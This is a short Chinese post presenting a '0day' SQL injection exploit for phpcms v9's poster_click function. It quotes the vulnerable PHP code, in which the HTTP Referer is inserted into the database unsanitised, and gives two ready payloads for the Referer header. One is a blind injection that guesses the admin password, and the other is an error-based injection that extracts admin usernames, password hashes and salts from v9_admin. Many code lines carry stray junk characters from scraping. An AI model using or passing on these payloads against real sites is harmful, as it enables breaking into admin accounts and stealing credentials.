phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:

问题函数\phpcms\modules\poster\index.php

public function poster_click() {
! B+ a' e) z9 M" p, o$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$r = $this->db->get_one(array('id'=>$id));
% B; t, {* R* M0 Pif (!is_array($r) && empty($r)) return false;
$ip_area = pc_base::load_sys_class('ip_area');
1 f$ h, X& F) ~7 H8 |$ip = ip();
$area = $ip_area->get($ip);
5 B3 S/ `. G7 N, S; Q# y$username = param::get_cookie('username') ? param::get_cookie('username') : '';
% G# h% u5 l8 S, W0 x/ v( o8 tif($id) {
/ R! ~  n- k8 `! \) f" Z$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
( s8 o9 K  M  c, E; j6 o; c$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
2 G# A. ]; {; y/ y. Z5 U$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
" `( W* h: t9 _/ }1 V, X$setting = string2array($r['setting']);
4 L/ U! t* u( F( d3 z$ Yif (count($setting)==1) {
$url = $setting['1']['linkurl'];
' ^$ i1 O; v+ |/ n  a, X' ?; j* x} else {
& ?# e" g! s0 S8 ?& F$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
6 g& B! p2 d: C9 B. j$ O  N}
header('Location: '.$url);
5 c3 ~) r* r- H: r5 W4 F}
2 A0 L* C& v. E' E% Y2 _

6 {. ~: ]' w7 t8 v" U% m
. e1 u# R4 R) R- b利用方式：
5 e) Z1 z3 i8 k3 R
1、可以采用盲注入的手法：
& u( m% R2 h; a  _2 a" d- C/ A4 Y! a; _
referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
) v. }8 m1 x% q+ F
通过返回页面，正常与否一个个猜解密码字段。

, n4 U  X5 P* Q6 w; o; K2、代码是花开写的，随手附上了：
. }5 q* H9 g" B; r7 R, o
* T' c* v7 ~, @% @1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#

此方法是爆错注入手法，原理自查。
